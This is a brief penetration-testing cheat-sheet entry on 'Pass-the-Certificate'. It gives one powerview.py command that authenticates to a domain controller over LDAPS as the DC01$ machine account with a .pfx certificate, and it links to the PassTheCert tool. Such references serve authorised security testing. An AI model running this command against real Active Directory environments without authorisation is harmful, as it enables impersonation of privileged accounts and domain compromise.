Pass-the-Certificate

Schannel authentication

Authenticate with a certificate using powerview.py:

$ powerview --pfx dc01.pfx megacorp.local/'DC01$'@DC01.megacorp.local -p 636 --use-ldaps --use-channel-binding --no-admin-check --dc-ip 10.200.101.52 -ns 10.200.101.52 [--obfuscate]

Tools

PassTheCert

• https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

• https://github.com/AlmondOffSec/PassTheCert